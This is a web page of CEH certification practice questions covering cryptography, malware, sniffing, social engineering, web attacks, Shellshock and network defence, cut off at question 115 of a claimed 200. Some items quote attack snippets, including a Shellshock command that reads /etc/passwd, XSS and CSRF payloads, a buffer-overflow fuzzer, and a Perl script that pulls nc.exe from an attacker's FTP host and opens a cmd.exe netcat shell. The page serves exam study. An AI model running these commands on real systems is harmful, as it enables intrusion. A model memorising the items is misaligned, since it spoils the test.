Test
CEH 2
Crea una cuenta gratis para terminar este test
Guarda tu progreso y consulta tu resultado final.
¿Ya tienes cuenta? Inicia sesión
Preguntas del test (200)
1There are several ways to gain insight on how a cryptosystem works with the goal of reverse engineering the process. A term describes when two pieces of data result in the same value is?
- ACollision
- BCollusion
- CPolymorphism
- DEscrow
2What is a “Collision attack” in cryptography?
- ACollision attacks try to find two inputs producing the same hash.
- BCollision attacks try to break the hash into two parts, with the same bytes in each part to get the private key.
- CCollision attacks try to get the public key.
- DCollision attacks try to break the hash into three parts to get the plaintext value.
3Which property ensures that a hash function will not produce the same hashed value for two different messages?
- ACollision resistance
- BBit length
- CKey strength
- DEntropy
4A hacker searches in Google for filetype:pcf to find Cisco VPN config files. Those files may contain connectivity passwords that can be decoded with which of the following?
- ACupp
- BNessus
- CCain & Abel
- DJohn the Ripper Pro
5Ricardo wants to send secret messages to a competitor company. To secure these messages, he uses a technique of hiding a secret message within an ordinary message. The technique provides ‘security through obscurity’. What technique is Ricardo using?
- APublic-key cryptography
- BRSA algorithm
- CSteganography
- DEncryption
6Eve stole a file named secret.txt, transferred it to her computer and she just entered these commands:
[eve@localhost ~]$ john secret.txt
Loaded 2 password hashes with no different salts (LM [DES 128/128 SSE2-16])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 3/3 0g/s 86168p/s 86168c/s 172336C/s MERO..SAMPLUI
0g 0:00:00:04 3/3 0g/s 3296Kp/s 3296Kc/s 6592KC/s GOS..KARIS4
0g 0:00:00:07 3/3 0g/s 8154Kp/s 8154Kc/s 16309KC/s NY180K..NY1837
0g 0:00:00:10 3/3 0g/s 7958Kp/s 7958Kc/s 15917KC/s SHAGRN..SHENY9
What is she trying to achieve?- AShe is encrypting the file.
- BShe is using John the Ripper to crack the passwords in the secret.txt file.
- CShe is using John the Ripper to view the contents of the file.
- DShe is using ftp to transfer the file to another hacker named John.
7Which of the following is an application that requires a host application for replication?
- AMicro
- BWorm
- CTrojan
- DVirus
8It is a kind of malware (malicious software) that criminals install on your computer so they can lock it from a remote location. This malware generates a pop-up window, webpage, or email warning from what looks like an official authority. It explains that your computer has been locked because of possible illegal activities on it and demands payment before you can access your files and programs again. What type of malware is it that restricts access to a computer system that it infects and demands that the user pay a certain amount of money, cryptocurrency, etc. to the operators of the malware to remove the restriction?
- ARansomware
- BRiskware
- CAdware
- DSpyware
9Which of the following programs is usually targeted at Microsoft Office products?
- APolymorphic virus
- BMultipart virus
- CStealth virus
- DMacro virus
10A virus that attempts to install itself inside of the file it is infecting is called?
- APolymorphic virus
- BTunneling virus
- CStealth virus
- DCavity virus
11Which of the following viruses tries to hide from anti-virus programs by actively altering and corrupting the chosen service call interruptions when they are being run?
- ACavity virus
- BTunneling virus
- CPolymorphic virus
- DStealth virus
12Which of the following program infects the system boot sector and the executable files at the same time?
- AMultipartite Virus
- BMacro virus
- CPolymorphic virus
- DStealth virus
13A hacker has successfully infected an internet-facing server which he will then use to send junk mail, take part in coordinated attacks, or host junk email content.
Which sort of trojan infects this server?- ATurtle trojan
- BBanking Trojan
- CBotnet Trojan
- DRansomware Trojan
14A server has been infected by a certain type of Trojan. The hacker intended to utilize it to send and host junk mails. What type of Trojan did the hacker use?
- ATurtle Trojan
- BRansomware Trojan
- CBotnet Trojan
- DBanking Trojan
15A botnet can be managed through which of the following?
- AIRC
- BE-Mail
- CLinkedin and Facebook
- DA vulnerable FTP server
16Which of the following items of a computer system will an anti-virus program scan for viruses?
- ABoot Sector
- BDeleted Files
- CWindows Process List
- DPassword Protected Files
17Which of the following BEST describes the mechanism of a Boot Sector Virus?
- AMoves the MBR to another location on the hard disk and copies itself to the original location of the MBR
- BMoves the MBR to another location on the RAM and copies itself to the original location of the MBR
- COverwrites the original MBR and only executes the new virus code
- DModifies directory table entries so that directory entries point to the virus code instead of the actual program
18Matthew received an email with an attachment named “YouWon$10Grand.zip.” The zip file contains a file named “HowToClaimYourPrize.docx.exe.” Out of excitement and curiosity, Matthew opened the said file. Without his knowledge, the file copies itself to Matthew’s APPDATA\\IocaI directory and begins to beacon to a Command-and-control server to download additional malicious binaries. What type of malware has Matthew encountered?
- AKeylogger
- BTrojan
- CWorm
- DMacro Virus
19Jesse receives an email with an attachment labeled “Court_Notice_21206.zip”. Inside the zip file is a file named “Court_Notice_21206.docx.exe” disguised as a word document. Upon execution, a window appears stating, “This word document is corrupt.” In the background, the file copies itself to Jesse APPDATA\local directory and begins to beacon to a C2 server to download additional malicious binaries.
What type of malware has Jesse encountered?- ATrojan
- BMacro Virus
- CWorm
- DKeylogger
20Initiating an attack against targeted businesses and organizations, threat actors compromise a carefully selected website by inserting an exploit resulting in malware infection. The attackers run exploits on well-known and trusted sites likely to be visited by their targeted victims. Aside from carefully choosing sites to compromise, these attacks are known to incorporate zero-day exploits that target unpatched vulnerabilities. Thus, the targeted entities are left with little or no defense against these exploits.
What type of attack is outlined in the scenario?- AWatering Hole Attack
- BHeartbleed Attack
- CShellshock Attack
- DSpear Phishing Attack
21Which of the following is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet.
- AHeartbleed Bug
- BPOODLE
- CSSL/TLS Renegotiation Vulnerability
- DShellshock
22The Heartbleed bug was discovered in 2014 and is widely referred to under MITRE’s Common Vulnerabilities and Exposures (CVE) as CVE-2014-0160. This bug affects the OpenSSL implementation of the transport layer security (TLS) protocols defined in RFC6520. What type of key does this bug leave exposed to the Internet making exploitation of any compromised system very easy?
- ARoot
- BShared
- CPublic
- DPrivate
23An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this?
- Ag++ hackersExploit.cpp -o calc.exe
- Bg++ hackersExploit.py -o calc.exe
- Cg++ -i hackersExploit.pl -o calc.exe
- Dg++ –compile –i hackersExploit.cpp -o calc.exe
24Rebecca commonly sees an error on her Windows system that states that a Data Execution Prevention (DEP) error has taken place. Which of the following is most likely taking place ?
- AMalware is executing in either ROM or a cache memory area.
- BMalicious code is attempting to execute instruction in a non-executable memory region.
- CA race condition is being exploited, and the operating system is containing the malicious process
- DA page fault is occurring, which forces the operating system to write data from the hard drive
25How is sniffing broadly categorized?
- AActive and passive
- BBroadcast and unicast
- CUnmanaged and managed
- DFiltered and unfiltered
26You need a tool that can do network intrusion prevention and intrusion detection, function as a network sniffer, and record network activity. What tool would you most likely select?
- ACain & Abel
- BNessus
- CNmap
- DSnort
27Which of the following identifies the three modes in which Snort can be configured to run?
- ASniffer, Packet Logger, and Network Intrusion Detection System
- BSniffer, Network Intrusion Detection System, and Host Intrusion Detection System
- CSniffer, Host Intrusion Prevention System, and Network Intrusion Prevention System
- DSniffer, Packet Logger, and Host Intrusion Prevention System
28This configuration allows NIC to pass all traffic it receives to the Central Processing Unit (CPU), instead of passing only the frames that the controller is intended to receive. Select the option that BEST describes the above statement.
- AMulti-cast mode
- BWEM
- CPromiscuous mode
- DPort forwarding
29Which of the following is the BEST way to defend against network sniffing?
- AUsing encryption protocols to secure network communications
- BRegister all machines MAC Address in a Centralized Database
- CRestrict Physical Access to Server Rooms hosting Critical Servers
- DUse Static IP Address
30Which of the following statements is TRUE?
- ASniffers operate on Layer 2 of the OSI model
- BSniffers operate on both Layer 2 & Layer 3 of the OSI model
- CSniffers operate on the Layer 1 of the OSI model
- DSniffers operate on the Layer 3 of the OSI model
31A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a switched environment network. Which attack could the hacker use to sniff all of the packets in the network?
- AFraggle
- BMAC Flood
- CSmurf
- DTear Drop
32When conducting a penetration test, it is crucial to use all means to get all available information about the target network. One of the ways to do that is by sniffing the network. Which of the following cannot be performed by the passive network sniffing?
- AIdentifying operating systems, services, protocols and devices
- BCollecting unencrypted information about usernames and passwords
- CCapturing a network traffic for further analysis
- DModifying and replaying captured network traffic
33Which of the following is a form of penetration testing that relies heavily on human interaction and often involves tricking people into breaking normal security procedures?
- ASocial Engineering
- BPiggybacking
- CTailgating
- DEavesdropping
34Which of the following is a low-tech way of gaining unauthorized access to systems?
- AEavesdropping
- BSniffing
- CScanning
- DSocial engineering
35You are tasked to perform a penetration test. While you are performing information gathering, you find an employee list in Google. You find the receptionist’s email, and you send her an email changing the source email to her boss’s email( boss@company ). In this email, you ask for a pdf with information. She reads your email and sends back a pdf with links. You exchange the pdf links with your malicious links (these links contain malware) and send back the modified pdf, saying that the links don’t work. She reads your email, opens the links, and her machine gets infected. You now have access to the company network.
What testing method did you use?- ASocial engineering
- BTailgating
- CPiggybacking
- DEavesdropping
36A security consultant decides to use multiple layers of anti-virus defense, such as end user desktop anti-virus and E-mail gateway. This approach can be used to mitigate which kind of attack?
- AForensic attack
- BARP spoofing attack
- CSocial engineering attack
- DScanning attack
37When utilizing technical assessment methods to assess the security posture of a network, which of the following techniques would be most effective in determining whether end-user security training would be beneficial?
- AVulnerability scanning
- BSocial Engineering
- CApplication security testing
- DNetwork sniffing
38The company ABC recently discovered that their new product was released by the opposition before their premiere. They contract an investigator who discovered that the maid threw away papers with confidential information about the new product and the opposition found it in the garbage. What is the name of the technique used by the opposition?
- AHack attack
- BSniffing
- CDumpster diving
- DSpying
39The Open Web Application Security Project (OWASP) is the worldwide not-for-profit charitable organization focused on improving the security of software. What item is the primary concern on OWASP’s Top Ten Project Most Critical Web Application Security Risks?
- AInjection
- BCross Site Scripting
- CCross Site Request Forgery
- DPath Disclosure
40Which Open Web Application Security Project (OWASP) implements a web application full of known vulnerabilities?
- AWebBugs
- BWebGoat
- CVULN_HTML
- DWebScarab
41When comparing the testing methodologies of Open Web Application Security Project (OWASP) and Open Source Security Testing Methodology Manual (OSSTMM) the main difference is
- AOWASP is for web applications and OSSTMM does not include web applications.
- BOSSTMM is gray box testing and OWASP is black box testing.
- COWASP addresses controls and OSSTMM does not.
- DOSSTMM addresses controls and OWASP does not.
42The Open Web Application Security Project (OWASP) testing methodology addresses the need to secure web applications by providing which one of the following services?
- AAn extensible security framework named COBIT
- BA list of flaws and how to fix them
- CWeb application patches
- DA security certification for hardened web applications
43If an e-commerce site was put into a live environment and the programmers failed to remove the secret entry point that was used during the application development, what is this secret entry point known as?
- ASDLC process
- BHoney pot
- CSQL injection
- DTrap door
44A hacker was able to easily gain access to a website. He was able to log in via the frontend user login form of the website using default or commonly used credentials. This exploitation is an example of what Software design flaw?
- AInsufficient security management
- BInsufficient database hardening
- CInsufficient input validation
- DInsufficient exception handling
45While performing data validation of web content, a security technician is required to restrict malicious input. Which of the following processes is an efficient way of restricting malicious input?
- AValidate web content input for query strings.
- BValidate web content input with scanning tools.
- CValidate web content input for type, length, and range.
- DValidate web content input for extraneous queries.
46Code injection is a form of attack in which a malicious user:
- AInserts text into a data field that gets interpreted as code.
- BGains access to the codebase on the server and inserts new code.
- CGets the server to execute arbitrary code using a buffer overflow.
- DInserts additional code into the JavaScript running in the browser.
47An attacker has been successfully modifying the purchase price of items purchased on the company’s web site. The security administrators verify the web server and Oracle database have not been compromised directly. They have also verified the Intrusion Detection System (IDS) logs and found no attacks that could have caused this. What is the mostly likely way the attacker has been able to modify the purchase price?
- ABy using SQL injection
- BBy changing hidden form values
- CBy using cross site scripting
- DBy utilizing a buffer overflow attack
48While performing online banking using a Web browser, Kyle receives an email that contains an image of a wellcrafted art. Upon clicking the image, a new tab on the web browser opens and shows an animated GIF of bills and coins being swallowed by a crocodile. After several days, Kyle noticed that all his funds on the bank was gone. What Web browser-based security vulnerability got exploited by the hacker?
- AClickjacking
- BWeb Form Input Validation
- CCross-Site Request Forgery
- DCross-Site Scripting
49Cross-site request forgery involves:
- AA browser making a request to a server without the user’s knowledge
- BModification of a request by a proxy between client and server.
- CA server making a request to another server without the user’s knowledge
- DA request sent by a malicious user from a browser to a server
50What type of a vulnerability/attack is it when the malicious person forces the user’s browser to send an authenticated request to a server?
- ACross-site request forgery
- BServer side request forgery
- CCross-site scripting
- DSession hijacking
51Which of the following conditions must be given to allow a tester to exploit a Cross-Site Request Forgery (CSRF) vulnerable web application?
- AThe victim user must open the malicious link with an Internet Explorer prior to version 8.
- BThe session cookies generated by the application do not have the HttpOnly flag set.
- CThe victim user must open the malicious link with a Firefox prior to version 3.
- DThe web application should not use random tokens.
52Identify the web application attack where the attackers exploit vulnerabilities in dynamically generated web pages to inject client-side script into web pages viewed by other users
- AXSS
- BCSRF
- CLDAP Injection Attack
- DSQL Injection Attack
53A company’s Web development team has become aware of a certain type of security vulnerability in their Web software. To mitigate the possibility of this vulnerability being exploited, the team wants to modify the software requirements to disallow users from entering HTML as input into their Web application.
What kind of Web application vulnerability likely exists in their software?- ASession management vulnerability
- BCross-site Request Forgery vulnerability
- CCross-site scripting vulnerability
- DSQL Injection vulnerability
54While testing the company’s web applications, a tester attempts to insert the following test script into the search area on the company’s web site:
alert(” Testing Testing Testing “)
Afterwards, when the tester presses the search button, a pop-up box appears on the screen with the text: “Testing Testing Testing”. Which vulnerability has been detected in the web application?- ABuffer overflow
- BCross-site request forgery
- CDistributed denial of service
- DCross-site scripting
55A security analyst in an insurance company is assigned to test a new web application that will be used by clients to help them choose and apply for an insurance plan. The analyst discovers that the application is developed in ASP scripting language and it uses MSSQL as a database backend. The analyst locates the application’s search form and introduces the following code in the search input field:
IMG SRC=vbscript:msgbox(“Vulnerable”);> originalAttribute=”SRC” originalPath=”vbscript:msgbox
(“Vulnerable”);>”
When the analyst submits the form, the browser returns a pop-up window that says “Vulnerable”.
Which web applications vulnerability did the analyst discover?- ACross-site request forgery
- BCommand injection
- CCross-site scripting
- DSQL injection
56During a penetration test, a tester finds that the web application being analyzed is vulnerable to Cross Site Scripting (XSS). Which of the following conditions must be met to exploit this vulnerability?
- AThe web application does not have the secure flag set.
- BThe session cookies do not have the HttpOnly flag set.
- CThe victim user should not have an endpoint security solution.
- DThe victim’s browser must have ActiveX technology enabled.
57An attacker changes the profile information of a particular user (victim) on the target website. The attacker uses this string to update the victim’s profile to a text file and then submit the data to the attacker’s database.
< iframe src=””http://www.vulnweb.com/updateif.php”” style=””display:none”” > < /iframe >
What is this type of attack (that can use either HTTP GET or HTTP POST) called?- ASQL Injection
- BXSS
- CBrowser Hacking
- DCross-Site Request Forgery
58Insecure direct object reference is a type of vulnerability where the application does not verify if the user is authorized to access the internal object via its name or key. Suppose a malicious user Rob tries to get access to the account of a benign user Ned. Which of the following requests best illustrates an attempt to exploit an insecure direct object reference vulnerability?
- AGET /restricted/goldtransferto=Rob&from=1 or 1=1′ HTTP1.1Host westbank.com
- BGET /restricted/bank.getaccount(‘Ned’) HTTP1.1 Host westbank.com
- CGET /restricted/accounts/?name=Ned HTTP1.1 Host westbank.com
- DGET /restricted/\r\n\%00account%00Ned%00access HTTP1.1 Host westbank.com
59Which of the following is the BEST way to protect Personally Identifiable Information (PII) from being exploited due to vulnerabilities of varying web applications?
- AUse cryptographic storage to store all PII
- BUse full disk encryption on all hard drives to protect PII
- CUse encrypted communications protocols to transmit PII
- DUse a security token to log into all Web applications that use PII
60Which of the following is the BEST approach to prevent Cross-site Scripting (XSS) flaws?
- AUse digital certificates to authenticate a server prior to sending data.
- BVerify access right before allowing access to protected information and UI controls.
- CValidate and escape all information sent to a server.
61A developer for a company is tasked with creating a program that will allow customers to update their billing and shipping information. The billing address field used is limited to 50 characters. What pseudo code would the developer use to avoid a buffer overflow attack on the billing address field?
- Aif (billingAddress = 50) {update field} else exit
- Bif (billingAddress != 50) {update field} else exit
- Cif (billingAddress >= 50) {update field} else exit
- Dif (billingAddress <= 50) {update field} else exit
62A recently hired network security associate at a local bank was given the responsibility to perform daily scans of the internal network to look for unauthorized devices. The employee decides to write a script that will scan the network for unauthorized devices every morning at 5:00 am. Which of the following programming languages would most likely be used?
- APHP
- BC#
- CPython
- DASP.NET
63Which of the following programming languages is most susceptible to buffer overflow attacks, due to its lack of
a built-in-bounds checking mechanism?
Code:
#include <string.h>
int main(){
char buffer[8];
strcpy(buffer, ““11111111111111111111111111111””);
}
Output:
Segmentation fault- AC#
- BPython
- CJava
- DC++
64#!/usr/bin/python
import socket
buffer=[“A”]counter=50
while len(buffer)<=100:
buffer.apend (“A”*counter)
counter=counter+50
commands=
[“HELP”,“STATS.”,“RTIME.”,“LTIME.”,“SRUN.”,“TRUN.”,“GMON.”,“GDOG.”,“KSTET.”,“GTER.”,“HTER.”,“LTER.
”,“KSTAN.”]
for command in commands:
for buffstring in buffer:
print “Exploiting” +command+“:”+str(len(buffstring))
s=socket.socket(socket.AF_INET.socket.SOCK_STREAM)
s.connect((‘127.0.0.1’,9999))
s.recv(50)
s.send(command+buffstring)
s.close()
What is the code written for?- ABuffer Overflow
- BEncryption
- CBruteforce
- DDoS
65A company’s security policy states that all Web browsers must automatically delete their HTTP browser cookies upon terminating. What sort of security breach is this policy attempting to mitigate?
- AAttempts by attackers to access Web sites that trust the Web browser user by stealing the user’s authentication credentials.
- BAttempts by attackers to access the user and password information stored in the company’s SQL database.
- CAttempts by attackers to access passwords stored on the user’s computer without the user’s knowledge.
- DAttempts by attackers to determine the user’s Web browser usage patterns, including when sites were visited and for how long.
66While using your bank’s online servicing you notice the following string in the URL bar: “http://www.MyPersonalBank.com/account?id=368940911028389&Damount=10980&Camount=21” You observe that if you modify the Damount & Camount values and submit the request, that data on the web page reflect the changes. Which type of vulnerability is present on this site?
- AWeb Parameter Tampering
- BCookie Tampering
- CXSS Reflection
- DSQL injection
67What technique is used to perform a Connection Stream Parameter Pollution (CSPP) attack?
- AInjecting parameters into a connection string using semicolons as a separator
- BInserting malicious Javascript code into input parameters
- CSetting a user’s session identifier (SID) to an explicit known value
- DAdding multiple parameters with the same name in HTTP requests
68When you are testing a web application, it is very useful to employ a proxy tool to save every request and response. You can manually test every request and analyze the response to find vulnerabilities. You can test parameter and headers manually to get more precise results than if using web vulnerability scanners.
What proxy tool will help you find web vulnerabilities?- ADimitry
- BProxychains
- CBurpsuite
- DMaskgen
69You are looking for SQL injection vulnerability by sending a special character to web applications. Which of the following is the most useful for quick validation?
- ABlackslash
- BSemicolon
- CDouble quotation
- DSingle quotation
70A tester has been hired to do a web application security test. The tester notices that the site is dynamic and must make use of a back end database. In order for the tester to see if SQL injection is possible, what is the first character that the tester should use to attempt breaking a valid SQL request?
- ASemicolon
- BSingle quote
- CDouble quote
- DExclamation mark
71What is the best description of SQL Injection?
- AIt is an attack used to gain unauthorized access to a database.
- BIt is an attack used to modify code in an application.
- CIt is a Man-in-the-Middle attack between your SQL Server and Web App Server.
- DIt is a Denial of Service Attack.
72Which of the following is used to indicate a single-line comment in structured query language (SQL)?
- A—
- B||
- C%%
- D”
73Which tool is used to automate SQL injections and exploit a database by forcing a given web application to connect to another database controlled by a hacker?
- ADataThief
- BNetCat
- CCain and Abel
- DSQLInjector
74What is attempting an injection attack on a web server based on responses to True/False questions called?
- ACompound SQLi
- BDMS-specific SQLi
- CClassic SQLi
- DBlind SQLi
75What is the main difference between a “Normal” SQL Injection and a “Blind” SQL Injection vulnerability?
- AThe request to the web server is not visible to the administrator of the vulnerable application.
- BThe attack is called “Blind” because, although the application properly filters user input, it is still vulnerable to code injection.
- CThe successful attack does not show an error message to the administrator of the affected application.
- DThe vulnerable application does not display errors with information about the injection results to the attacker.
76You are attempting to man-in-the-middle a session. Which protocol will allow you to guess a sequence number?
- ATCP
- BUDP
- CICMP
- DUPX
77An attacker attaches a rogue router in a network. He wants to redirect traffic to a LAN attached to his router as part of a man-in-the-middle attack. What measure on behalf of the legitimate admin can mitigate this attack?
- AOnly using OSPFv3 will mitigate this risk.
- BMake sure that legitimate network routers are configured to run routing protocols with authentication.
- CRedirection of the traffic cannot happen unless the admin allows it explicitly.
- DDisable all routing protocols and only use static routes.
78Which of the following is an example of IP spoofing?
- ASQLi
- BMitM
- CXSS
- DARP poisoning
79Which of the following tools performs comprehensive tests against web servers, including dangerous files and CGIs?
- ANikto
- BSnort
- CJohn the Ripper
- DDsniff
80Why should the security analyst disable/remove unnecessary ISAPI filters?
- ATo defend against webserver attacks
- BTo defend against social engineering attacks
- CTo defend against wireless attacks
- DTo defend against jailbreaking
81How does an operating system protect the passwords used for account logins?
- AThe operating system performs a one-way hash of the passwords.
- BThe operating system stores the passwords in a secret file that users cannot find.
- CThe operating system encrypts the passwords, and decrypts them when needed.
- DThe operating system stores all passwords in a protected segment of non-volatile memory.
82Which of the following techniques does a vulnerability scanner use in order to detect a vulnerability on a target service?
- APort scanning
- BBanner grabbing
- CInjecting arbitrary data
- DAnalyzing service response
83Which tool can be used to silently copy files from USB devices?
- AUSB Grabber
- BUSB Dumper
- CUSB Sniffer
- DUSB Snoopy
84Windows file servers commonly hold sensitive files, databases, passwords and more. Which of the following choices would be a common vulnerability that usually exposes them?
- ACross-site scripting
- BSQL injection
- CMissing patches
- DCRLF injection
85At a Windows Server command prompt, which command could be used to list the running services?
- ASc query type= running
- BSc query \\\\servername
- CSc query
- DSc config
86What is the most common method to exploit the “Bash Bug” or “ShellShock” vulnerability?
- ASSH
- BSYN Flood
- CThrough web servers utilizing CGI (Common Gateway Interface) to send a malformed environment variable to a vulnerable Web server
- DManipulate format strings in text fields
87env x=`(){ :;};echo exploit` bash -c ‘cat /etc/passwd’
What is the Shellshock bash vulnerability attempting to do on an vulnerable Linux host?- ADisplay passwd content to prompt
- BChanges all passwords in passwd
- CRemoves the passwd file
- DAdd new user to the passwd file
88Shellshock had the potential for an unauthorized user to gain access to a server. It affected many internet facing services, which OS did it not directly affect?
- AWindows
- BUnix
- CLinux
- DOS X
89Which of the following is a vulnerability in GNU’s bash shell (discovered in September of 2014) that gives attackers access to run remote commands on a vulnerable system? The malicious software can take control of an infected machine, launch denial-of-service attacks to disrupt websites, and scan for other vulnerable devices (including routers).
- AShellshock
- BRootshell
- CRootshock
- DShellbash
90How can telnet be used to fingerprint a web server?
- Atelnet webserverAddress 80
HEAD / HTTP/1.0 - Btelnet webserverAddress 80
PUT / HTTP/1.0 - Ctelnet webserverAddress 80
HEAD / HTTP/2.0 - Dtelnet webserverAddress 80
PUT / HTTP/2.0
- Atelnet webserverAddress 80
91invictus@victim_server:~$ nmap -T4 -0 10.10.0.0/24
TCP/IP fingerprinting (for OS scan) xxxxxxx xxxxxx xxxxxxxxx. QUITTING!
Obviously, it is not going through. What is the issue here?- AOS Scan requires root privileges
- BThe nmap syntax is wrong.
- CThe outgoing TCP/IP fingerprinting is blocked by the host firewall
- DThis is a common behavior for a corrupted nmap application
92What type of OS fingerprinting technique sends specially crafted packets to the remote OS and analyzes the received response?
- APassive
- BDistributive
- CReflective
- DActive
93An attacker uses a communication channel within an operating system that is neither designed nor intended to transfer information. What is the name of the communications channel?
- AClassified
- BOvert
- CEncrypted
- DCovert
94One way to defeat a multi-level security solution is to leak data via
- Aa bypass regulator.
- Bsteganography
- Ca covert channel.
- Dasymmetric routing.
95A covert channel is a channel that
- Atransfers information over, within a computer system, or network that is outside of the security policy.
- Btransfers information over, within a computer system, or network that is within the security policy.
- Ctransfers information via a communication path within a computer system, or network for transfer of data.
- Dtransfers information over, within a computer system, or network that is encrypted.
96An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets?
- AThe wireless card was not turned on.
- BThe wrong network card drivers were in use by Wireshark.
- COn Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.
- DCertain operating systems and adapters do not collect the management or control packets.
97A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions:
system(“perl msadc.pl -h $host -C \\”echo open $your >testfile\\””);
system(“perl msadc.pl -h $host -C \\”echo $user>>testfile\\””);
system(“perl msadc.pl -h $host -C \\”echo $pass>>testfile\\””);
system(“perl msadc.pl -h $host -C \\”echo bin>>testfile\\””);
system(“perl msadc.pl -h $host -C \\”echo get nc.exe>>testfile
system(“perl msadc.pl -h $host -C \\”echo get hacked.html>>testfile
(“perl msadc.pl -h $host -C \\”echo quit>>testfile\\””);
system(“perl msadc.pl -h $host -C \\”ftp \\-s\\:testfile\\””);
$o=; print “Opening …\\n”;
system(“perl msadc.pl -h $host -C \\”nc -l -p $port -e cmd.exe\\””);
Which exploit is indicated by this script?- AA buffer overflow exploit
- BA chained exploit
- CA SQL injection exploit
- DA denial of service exploit
98How can a rootkit bypass Windows 7 operating system’s kernel mode, code signing policy?
- ADefeating the scanner from detecting any code change at the kernel
- BReplacing patch system calls with its own version that hides the rootkit (attacker’s) actions
- CPerforming common services for the application process and replacing real applications with fake ones
- DAttaching itself to the master boot record in a hard drive and changing the machine’s boot sequence/options
99What mechanism in Windows prevents a user from accidentally executing a potentially malicious batch (.bat) or PowerShell (.ps1) script?
- AUser Access Control (UAC)
- BData Execution Prevention (DEP)
- CAddress Space Layout Randomization (ASLR)
- DWindows firewall
100A network administrator discovers several unknown files in the root directory of his Linux FTP server. One of the files is a tarball, two are shell script files, and the third is a binary file is named “”nc.”” The FTP server’s access logs show that the anonymous user account logged in to the server, uploaded the files, and extracted the contents of the tarball and ran the script using a function provided by the FTP server’s software. The ps command shows that the nc file is running as process, and the netstat command shows the nc process is listening on a network port.
What kind of vulnerability must be present to make this remote attack possible?- AFile system permissions
- BPrivilege escalation
- CBrute force login
- DDirectory traversal
101An attacker with access to the inside network of a small company launches a successful STP manipulation attack. What will he do next?
- AHe will create a SPAN entry on the spoofed root bridge and redirect traffic to his computer.
- BHe will repeat the same attack against all L2 switches of the network.
- CHe will activate OSPF on the spoofed root bridge.
- DHe will repeat this action so that it escalates to a DoS attack.
102It is a widely used standard for message logging. It permits separation of the software that generates messages, the system that stores them, and the software that reports and analyzes them. This protocol is specifically designed for transporting event messages. Which of the following is being described?
- ASNMP
- BICMP
- CSYSLOG
- DSMS
103Which among the following is a Windows command that a hacker can use to list all the shares to which the current user context has access?
- ANET FILE
- BNET USE
- CNET CONFIG
- DNET VIEW
104Which system consists of a publicly available set of databases that contain domain name registration contact information?
- ACAPTCHA
- BIETF
- CWHOIS
- DIANA
105During a recent security assessment, you discover the organization has one Domain Name Server (DNS) in a Demilitarized Zone (DMZ) and a second DNS server on the internal network. What is this type of DNS configuration commonly called?
- ASplit DNS
- BDNSSEC
- CDynDNS
- DDNS Scheme
106A hacker is attempting to use nslookup to query Domain Name Service (DNS). The hacker uses the nslookup interactive mode for the search. Which command should the hacker type into the command shell to request the appropriate records?
- ALocate type=ns
- BRequest type=ns
- CSet type=ns
- DTransfer type=ns
107___________ Is a set of extensions to DNS that provide to DNS clients (resolvers) origin authentication of DNS data to reduce the threat of DNS poisoning, spoofing, and similar attacks types.
- ADNSSEC
- BResource records
- CZone transfer
- DResource transfer
108Some clients of TPNQM SA were redirected to a malicious site when they tried to access the TPNQM main site. Bob, a system administrator at TPNQM SA, found that they were victims of DNS Cache Poisoning. What should Bob recommend to deal with such a threat
- AThe use of DNSSEC
- BClient awareness
- CThe use of double-factor authentication
- DThe use of security agents in clients computers
109What is the purpose of a demilitarized zone on a network
- ATo provide a place to put the honeypot
- BTo only provide direct access to the nodes within the DMZ and protect the network behind it
- CTo scan all traffic coming through the DMZ to the internal network
- DTo contain the network devices you wish to protect
110Bob, a system administrator at TPNQM SA, concluded one day that a DMZ is not needed if he properly configures the firewall to allow access just to servers ports, which can have direct internet access, and block the access to workstations. Bob also concluded that DMZ makes sense just when a stateful firewall is available, which is not the case of TPNQM SA.
In this context, what can you say- ABob can be right since DMZ does not make sense when combined with stateless firewalls.
- BBob is totally wrong. DMZ is always relevant when the company has internet servers and workstations.
- CBob is partially right. DMZ does not make sense when a stateless firewall is available.
- DBob is partially right. He does not need to separate networks if he can create rules by destination IPs, one by one.
111A company firewall engineer has configured a new DMZ to allow public systems to be located away from the internal network. The engineer has three security zones set:
Untrust (Internet) – (Remote network = 217.77.88.0/24)
DMZ (DMZ) – (11.12.13.0/24)
Trust (Intranet) – (192.168.0.0/24)
The engineer wants to configure remote desktop access from a fixed IP on the remote network to a remote desktop server in the DMZ. Which rule would best fit this requirement?- APermit 217.77.88.0/24 11.12.13.0/24 RDP 3389
- BPermit 217.77.88.12 11.12.13.50 RDP 3389
- CPermit 217.77.88.12 11.12.13.0/24 RDP 3389
- DPermit 217.77.88.0/24 11.12.13.50 RDP 3389
112A regional bank hires your company to perform a security assessment on their network after a recent data breach. The attacker was able to steal financial data from the bank by compromising only a single server.
Based on this information, what should be one of your key recommendations to the bank?- APlace a front-end web server in a demilitarized zone that only handles external web traffic
- BRequire all employees to change their anti-virus program with a new one.
- CIssue new certificates to the web servers from the root certificate authority
- DMove the financial data to another server on the same IP subnet
113In both pharming and phishing attacks an attacker can create websites that look similar to legitimate sites with the intent of collecting personal identifiable information from its victims. What is the difference between pharming and phishing attacks?
- ABoth pharming and phishing attacks are purely technical and are not considered forms of social engineering
- BIn a pharming attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a phishing attack an attacker provides the victim with a URL that is either misspelled or looks similar to the actual websites domain name
- CBoth pharming and phishing attacks are identical
- DIn a phishing attack a victim is redirected to a fake website by modifying their host configuration file or by exploiting vulnerabilities in DNS. In a pharming attack an attacker provides the victim with a URL that is either misspelled or looks very similar to the actual websites domain name
114An attacker has installed a RAT on a host. The attacker wants to ensure that when a user attempts to go to http://www.MyPersonalBank.com, the user is directed to a phishing site.
Which file does the attacker need to modify- AHosts
- BBoot.ini
- CSudoers
- DNetworks
115A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company’s internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur?
- ASSL
- BMutual authentication
- CIPSec
